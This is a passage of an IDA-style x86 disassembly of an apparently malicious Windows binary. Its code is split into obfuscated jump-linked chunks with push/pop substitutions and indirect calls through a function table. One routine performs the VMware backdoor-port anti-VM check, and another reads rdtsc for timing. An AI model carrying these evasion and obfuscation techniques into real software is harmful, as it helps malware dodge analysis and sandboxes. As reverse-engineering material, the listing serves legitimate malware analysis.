		call	sub_9B3408
		mov	esi, eax
		sub	edx, edx
		mov	[ebp-228h], esi
		push	dword_9BBE3C
		pop	ecx
		call	sub_9AEE5C
		mov	ebx, eax
		mov	ecx, esi
		and	ebx, 7FFFFFFFh
		call	sub_9AEE5C
		and	eax, 7FFFFFFFh
		cmp	eax, ebx
		jbe	loc_9AC8C0
		jmp	off_9BAF9F
; END OF FUNCTION CHUNK	FOR sub_9AEC20
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B3070:				; CODE XREF: sub_9B1D80+47EBj
		jmp	loc_9B3ECB
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B3078:				; CODE XREF: sub_9B0930+260j
					; DATA XREF: .text:off_9B927Co
		push	off_9B884C
		mov	eax, [eax+18h]
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+18h]
		pop	ecx
		mov	[ecx+4], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+18h]
		push	dword ptr [eax+4]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B08FC
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B30B0:				; CODE XREF: sub_9AC6DC+6F1Bj
					; sub_9AC6DC:loc_9B4D80j
					; DATA XREF: ...
		mov	esi, eax
		mov	edi, ebx
		mov	dword_9BBD18, esi
		mov	dword_9BBD1C, edi
		jmp	loc_9ABAAA
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B30C8:				; CODE XREF: sub_9ADDA4+3Dj
		cmp	edi, 9
		ja	loc_9AED3C
		jmp	loc_9B1C08
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B30E0:				; CODE XREF: sub_9B4FD0-A05Cj
					; DATA XREF: .text:off_9BA031o
		lea	esi, [ebp-224h]
		mov	[ebp-230h], eax
		call	sub_9B3BE8
		push	eax
		mov	eax, [ebp-230h]
		call	dword ptr [eax+6Ch]
		mov	dword_9BBF9C[edi], eax
		test	eax, eax
		jz	sub_9ABB50
		jmp	loc_9B0D54
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B3110:				; CODE XREF: sub_9ADAC4-464j
					; DATA XREF: .text:off_9B9559o
		push	dword ptr [ebp+eax*4-84h]
		pop	ecx
		or	ecx, ecx
		jnz	loc_9AF9F4
		jmp	off_9B8DEF
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B3128:				; CODE XREF: sub_9B4950-757Bj
					; DATA XREF: .text:off_9B8EDEo
		mov	[ebp-20h], eax
		sub	eax, eax


loc_9B312D:				; CODE XREF: sub_9B4950-1621j
		mov	[ebp-1Ch], eax
		cmp	eax, 20h
		jge	loc_9B2944
		jmp	loc_9AFF4C
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B3140:				; CODE XREF: sub_9B649C-7A8Dj
		lea	ecx, [eax+3]
		cmp	ecx, edi
		ja	loc_9ACCD8
		jmp	loc_9AC234
; END OF FUNCTION CHUNK	FOR sub_9B649C

; =============== S U B	R O U T	I N E =======================================



sub_9B3150	proc near		; CODE XREF: sub_9B3408-628Bp
					; sub_9AF25C+46p ...

; FUNCTION CHUNK AT 009AADE4 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009AB848 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009AC39C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AEB78 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AEFA3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B0094 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 009B0C88 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 009B5F24 SIZE 00000019 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA10B
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	ecx
		pop	ebx
		xor	eax, eax
		mov	[ebp-1Ch], eax
		mov	[ebp-4], eax
		cmp	ebx, eax
		jz	loc_9AEFA3
		jmp	loc_9AB848
sub_9B3150	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B3194:				; CODE XREF: sub_9B649C-7EA4j
		add	eax, 4
		mov	[ebp+var_1C], eax


loc_9B319A:				; CODE XREF: sub_9B649C-7EAAj
		cmp	eax, edi
		jbe	loc_9ACCDD
		jmp	loc_9ACCD8
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B31A8	proc near		; CODE XREF: sub_9ADAC4-2B26p
					; sub_9B4950-8E39p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AE0B8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B084C SIZE 0000003B BYTES
; FUNCTION CHUNK AT 009B12E0 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009B1CBF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009B4308 SIZE 00000010 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B8DD8
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], edi
		mov	[ebp+var_4], edi
		push	ecx
		pop	esi
		cmp	esi, edi
		jz	loc_9B1CBF
		jmp	loc_9B4308
sub_9B31A8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB11C


loc_9B31EC:				; CODE XREF: sub_9AB11C+37j
		call	dword ptr [eax+1Ch]
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AB11C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B31F4:				; CODE XREF: sub_9B0930-1234j
					; DATA XREF: .text:off_9B8824o
		push	off_9BAB68
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		mov	[edx+44h], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	eax
		mov	ecx, [eax+44h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BADF8
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEDD0


loc_9B3228:				; CODE XREF: sub_9AEDD0-33DFj
					; sub_9AEDD0+20j ...
		add	eax, 28h
		cmp	eax, 500h
		jb	loc_9AEDE8
		jmp	loc_9B2998
; END OF FUNCTION CHUNK	FOR sub_9AEDD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9B323C:				; CODE XREF: sub_9B1B20-D5Fj
					; DATA XREF: .text:off_9B96D4o
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+0Ch]
		pop	ecx
		push	edi
		push	esi
		push	3
		push	0
		lea	edx, [ebp+var_120]
		push	edx
		mov	eax, [ebp+var_32C]
		push	eax
		call	dword ptr [ecx+18h]
		test	eax, eax
		jnz	loc_9AC1AA
		jmp	loc_9AC1A0
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B326C:				; CODE XREF: sub_9ADAC4-2BDBj
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9ADCDF
		jmp	off_9B8CB5
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B327C	proc near		; CODE XREF: sub_9B5904-93C2p
					; sub_9B1D80-4B6Fp ...

; FUNCTION CHUNK AT 009AB10C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009ABA24 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 009B2CE4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B4264 SIZE 00000006 BYTES

		mov	ecx, eax
		and	ecx, 0FFFFh
		cmp	ecx, 0A8C0h
		jz	loc_9B4264
		jmp	off_9BAAA5
sub_9B327C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B3298:				; CODE XREF: sub_9B649C-A0D2j
		push	10h
		pop	eax
		mov	[ebp+var_1C], eax


loc_9B329E:				; CODE XREF: sub_9B649C-A0D8j
		test	bl, 10h
		jz	loc_9B1842
		jmp	off_9BAA09
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9B32B0:				; CODE XREF: sub_9B4480-1BBDj
					; DATA XREF: .text:off_9BAAC8o
		cmp	[ebp+var_32C], ebx
		jnz	loc_9B46EF
		jmp	loc_9B46E4
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B32C4:				; CODE XREF: sub_9B4950-12D8j
					; DATA XREF: .text:off_9B9485o
		lea	ebx, dword_9BEC3C[edi]
		push	ebx
		pop	ecx
		call	sub_9B31A8
		lea	ecx, dword_9BEC40[edi]
		mov	[ebp-24h], ecx
		call	sub_9B31A8
		mov	eax, dword_9BEC2C[edi]
		push	dword ptr [ebp-20h]
		pop	ecx
		push	ecx
		lea	esi, [ebp-4Ch]
		call	sub_9AC250
		push	dword ptr [ebp-44h]
		pop	edx
		push	edx
		push	dword_9BEC2C[edi]
		pop	eax
		push	eax
		push	off_9B9F6A
		call	sub_9ABF08
		mov	[ebx], eax
		mov	eax, [ebp-40h]
		push	eax
		push	dword_9BEC2C[edi]
		pop	ecx
		push	ecx
		push	off_9BB054
		call	sub_9ABF08
		push	dword ptr [ebp-24h]
		pop	edx
		xor	ebx, ebx
		mov	[edx], eax
		mov	eax, [ebp-1Ch]


loc_9B332E:				; CODE XREF: sub_9B4950-49F8j
					; sub_9B4950-12DEj ...
		inc	eax
		jmp	loc_9B312D
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B3334:				; CODE XREF: sub_9ADAC4-1C8Cj
		push	0
		push	edi
		push	off_9B9099
		call	sub_9ABF08
		mov	[ebp+esi*4-84h], eax
		test	eax, eax
		jnz	loc_9AE6B5
		jmp	loc_9AE6A8
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B5480


loc_9B335B:				; CODE XREF: sub_9B5480-9C16j
					; sub_9B5480-49CBj ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B5480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B3374:				; CODE XREF: sub_9B3864-37D8j
		movzx	ebx, [ebp+var_2022]
		sub	ecx, ecx
		mov	cl, [ebp+var_2024]
		and	ecx, 1
		push	ecx
		push	[ebp+var_2020]
		pop	ecx
		push	ecx
		mov	edx, [ebp+var_2028]
		push	edx
		push	eax
		mov	ecx, ebx
		call	sub_9AF030
		or	eax, eax
		jz	loc_9AF480
		jmp	loc_9B6488
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B33AC:				; CODE XREF: sub_9ACEE8+8AB1j
		call	sub_9B227C
		mov	[ebp-0BCh], eax
		call	sub_9B227C
		sub	edi, eax
		mov	[ebp-0C4h], edi
		jnz	loc_9B0F7F
		jmp	loc_9B0F74
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9B33D0:				; CODE XREF: sub_9AD11C+3A31j
		push	1
		pop	edi
		jmp	loc_9AFA58
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B33DB:				; CODE XREF: sub_9AF25C-3983j
					; sub_9AF25C-2D3Dj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BADC8
		call	dword ptr [ecx+1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B3408	proc near		; CODE XREF: sub_9AEC20+81p
					; sub_9AEC20+4412p

; FUNCTION CHUNK AT 009AB1EC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AB734 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009ABD60 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 009ACE18 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AD158 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009ADFBC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AE614 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 009AF0B8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B07FC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B292C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B3754 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B62E4 SIZE 00000033 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B992A
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 128h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		push	edx
		pop	ebx
		sub	esi, esi
		mov	[ebp-18h], esp
		mov	eax, [ebp+8]
		mov	[ebp-138h], eax
		mov	[ebp-124h], esi
		mov	[ebp-12Ch], esi
		mov	[ebp-134h], esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	off_9BADC8
		call	dword ptr [edx+18h]
		mov	[ebp-4], esi
		mov	eax, dword_9BCB74
		mov	ecx, [eax+0Ch]
		lea	edx, [ebp-124h]
		push	edx
		push	20019h
		push	esi
		push	ebx
		push	edi
		call	dword ptr [ecx+20h]
		and	eax, eax
		jz	loc_9AE614
		jmp	loc_9AB1EC
sub_9B3408	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B19D8


loc_9B349C:				; CODE XREF: sub_9B19D8+31CAj
		inc	dword ptr [ebp-404Ch]
		mov	ebx, [ebp-4050h]
		jmp	loc_9ADC2E
; END OF FUNCTION CHUNK	FOR sub_9B19D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B34B0:				; CODE XREF: sub_9ACEE8+5DBCj
					; DATA XREF: .text:off_9B9F82o
		push	1
		pop	ebx
		mov	[ebp-0B4h], ebx


loc_9B34B9:				; CODE XREF: sub_9ACEE8+544Cj
					; sub_9ACEE8+78EAj
		test	ebx, ebx
		jz	loc_9ACF55
		jmp	loc_9AC65C
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B57B4


loc_9B34C8:				; CODE XREF: sub_9B57B4+48j
					; DATA XREF: .text:off_9BAEFDo
		push	off_9B8ED2
		call	dword ptr [ecx+68h]
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		lea	ecx, [ebp+var_44]
		push	ecx
		call	dword ptr [eax+64h]
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		call	dword ptr [eax+30h]
		mov	[ebp+var_34], eax
		rdtsc
		mov	[ebp+var_148], edx
		mov	[ebp+var_14C], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_28], edx
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+0Ch]
		push	0F0000000h
		push	1
		jmp	off_9BA707
; END OF FUNCTION CHUNK	FOR sub_9B57B4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B351C:				; CODE XREF: sub_9B1A08-567Aj
					; sub_9B1A08-43E1j
		xor	eax, eax


loc_9B351E:				; CODE XREF: sub_9B1A08-3E75j
		push	eax
		push	0
		push	0
		push	0
		push	0
		call	sub_9B36E8
		push	eax
		lea	edx, [ebp+var_402C]
		push	edx
		push	11h
		push	esi
		push	1
		lea	eax, [ebp+var_41F8]
		push	eax
		lea	ecx, [ebp+var_201C]
		push	ecx
		call	sub_9B2F1C
		add	esp, 30h
		push	[ebp+var_41F8]
		jmp	loc_9B3778
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABF08


loc_9B355C:				; CODE XREF: sub_9ABF08+47j
					; DATA XREF: .text:off_9B926Co
		sub	eax, eax
		push	esi
		pop	ecx
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	[ecx+10h], eax
		mov	edx, [ebp+0Ch]
		mov	[esi+0Ch], edx
		push	dword ptr [ebp+10h]
		pop	eax
		mov	[esi+10h], eax
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	edi
		push	edi
		push	edi
		push	edi
		call	dword ptr [edx+20h]
		mov	[esi+8], eax
		cmp	eax, edi
		jz	loc_9AF20F
		jmp	off_9B8CD6
; END OF FUNCTION CHUNK	FOR sub_9ABF08
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B35A0	proc near		; CODE XREF: sub_9ABB50+2p
					; sub_9AF030-2A01p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AC99B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B014C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B09E8 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 009B10DC SIZE 00000028 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BA8AD
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		jmp	loc_9B09E8
sub_9B35A0	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4610


loc_9B35CC:				; CODE XREF: sub_9B4610-610Ej
					; DATA XREF: .text:off_9B911Do
		call	sub_9B227C
		sub	eax, dword_9BBF98[esi]
		cmp	eax, 3Ch
		jbe	loc_9AF22F
		jmp	off_9B9864
; END OF FUNCTION CHUNK	FOR sub_9B4610
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B35E8:				; CODE XREF: sub_9AC6DC+86AAj
		push	dword_9BBD18
		pop	esi
		cmp	eax, esi
		jbe	loc_9ABAAA
		jmp	off_9BA1A9
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B3600:				; CODE XREF: sub_9AF030+60j
					; DATA XREF: .text:off_9B91B2o
		push	[ebp+arg_4]
		pop	eax
		cmp	eax, dword_9BBFA0[esi]
		jnz	loc_9AC634
		jmp	loc_9B5738
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3618	proc near		; CODE XREF: sub_9B03E8+2790p

var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009ADF7B SIZE 0000001D BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAB8C
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		sub	eax, eax
		mov	[ebp+var_18], esp
		mov	[ebp+var_19], al
		mov	[ebp+var_4], eax
		push	564D5868h
		pop	eax
		mov	ecx, 0Ah
		mov	dx, 5658h
		in	eax, dx
		cmp	ebx, 564D5868h
		setz	[ebp+var_19]
		jmp	loc_9ADF7B
sub_9B3618	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B366C:				; CODE XREF: sub_9B4950+78Cj
		cmp	dword_9BEC24[edi], ebx
		jz	loc_9B332E
		jmp	off_9B9485
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B3680:				; CODE XREF: sub_9AC250+D4j
		push	dword ptr [esi+4]
		pop	ebx
		push	ebx
		pop	edx
		shr	edx, 5
		push	edx
		pop	ecx
		and	ecx, 1Fh
		push	1
		pop	ebp
		shl	ebp, cl
		shr	edx, 5
		test	dword_9BA4E8[edx*4], ebp
		jnz	loc_9AC264
		jmp	off_9BA7CD
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B36AC:				; CODE XREF: sub_9B4950-8893j
					; DATA XREF: .text:off_9B9E4Do
		xor	esi, esi


loc_9B36AE:				; CODE XREF: sub_9B4950+12DFj
		mov	[ebp-1Ch], esi
		cmp	esi, 20h
		jge	loc_9AD3C4
		jmp	loc_9B2778
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9B36C0:				; CODE XREF: sub_9AD11C+8472j
		push	4
		pop	edi
		jmp	loc_9AFA58
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B36C8:				; CODE XREF: sub_9B3864-5E69j
		sub	edx, edx


loc_9B36CA:				; CODE XREF: sub_9B3864+251Cj
		push	eax
		push	ecx
		push	edi
		push	[ebp+var_2060]
		pop	eax
		movzx	ecx, word ptr [eax+2]
		push	ecx
		mov	eax, [eax+4]
		push	eax
		push	edx
		push	dword ptr [esi+4]
		jmp	loc_9B0068
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9B36E8	proc near		; CODE XREF: StartAddress+158p
					; sub_9AF25C:loc_9ABBC0p ...

; FUNCTION CHUNK AT 009AC484 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AC73E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009ACC48 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009ACE64 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009ADF98 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AE96C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009B532C SIZE 00000017 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BB021
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		mov	[ebp-1Ch], edi
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9BADC8
		call	dword ptr [ecx+18h]
		mov	[ebp-4], edi
		sub	edx, edx
		push	dword_9BBE3C
		pop	ecx
		call	sub_9AEE5C
		push	eax
		pop	esi
		mov	[ebp-1Ch], esi
		cmp	esi, edi
		jnz	loc_9AC48D
		jmp	off_9B8CC1
sub_9B36E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9B374C:				; CODE XREF: sub_9B3EFC-6825j
					; DATA XREF: .text:off_9B9449o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9B3754:				; CODE XREF: sub_9B3408-7CB0j
					; DATA XREF: .text:off_9B9713o
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+0Ch]
		push	eax
		call	dword ptr [edx+14h]


loc_9B3761:				; CODE XREF: sub_9B3408-7CB6j
		push	dword ptr [ebp-134h]
		pop	eax
		test	eax, eax
		jnz	loc_9ADFCE
		jmp	off_9BA690
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B3778:				; CODE XREF: sub_9B1A08+1B4Dj
		pop	eax
		test	eax, eax
		jz	loc_9B16BE
		jmp	off_9B9280
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B3788:				; CODE XREF: sub_9B63D8-1421j
		sub	eax, edx
		mov	[ebp-2150h], eax
		push	0Ah
		push	400h
		mov	edi, esi
		lea	ecx, [ebp-2120h]
		call	sub_9B5300
		cmp	eax, 4
		jnz	loc_9AF944
		jmp	loc_9AF368
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B37B4:				; CODE XREF: sub_9B0930-582Cj
		push	off_9B8E65
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+64h], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax]
		push	dword ptr [eax+64h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BA1C8
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B37E8:				; CODE XREF: sub_9AF030+37F8j
		mov	[ebp+var_20], 1
		mov	ecx, [ebp+arg_0]
		call	sub_9B35A0
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_9AE8BD
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9B3804:				; CODE XREF: sub_9B2830+1AF8j
					; DATA XREF: .text:off_9B92BCo
		or	eax, 8000h
		mov	[edi], ax
		push	8
		push	ebx
		call	sub_9AB11C
		push	ebx
		pop	ecx
		mov	edx, esi
		call	sub_9ABADC
		mov	[ebx+esi], eax
		add	esi, 4
		mov	[ebp-1Ch], esi
		push	dword ptr [ebx+4]
		pop	eax
		push	eax
		mov	ecx, [ebx]
		push	ecx
		lea	eax, [esi-8]
		push	edi
		call	sub_9B6370
		push	2000h
		pop	edi
		sub	edi, esi
		mov	[ebp-24h], edi
		and	edi, 1FFh
		mov	[ebp-24h], edi
		mov	dword ptr [ebp-20h], 0


loc_9B3852:				; CODE XREF: sub_9B2830-692Ej
		cmp	dword ptr [ebp-20h], 4
		jge	loc_9B4B4C
		jmp	loc_9ABEF0
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3864	proc near		; CODE XREF: sub_9B037C-4364p
					; sub_9B3984-5EDCp

var_2074	= dword	ptr -2074h
var_2070	= dword	ptr -2070h
var_206C	= dword	ptr -206Ch
var_2068	= dword	ptr -2068h
var_2064	= dword	ptr -2064h
var_2060	= dword	ptr -2060h
var_205C	= dword	ptr -205Ch
var_2058	= dword	ptr -2058h
var_2054	= dword	ptr -2054h
var_2050	= dword	ptr -2050h
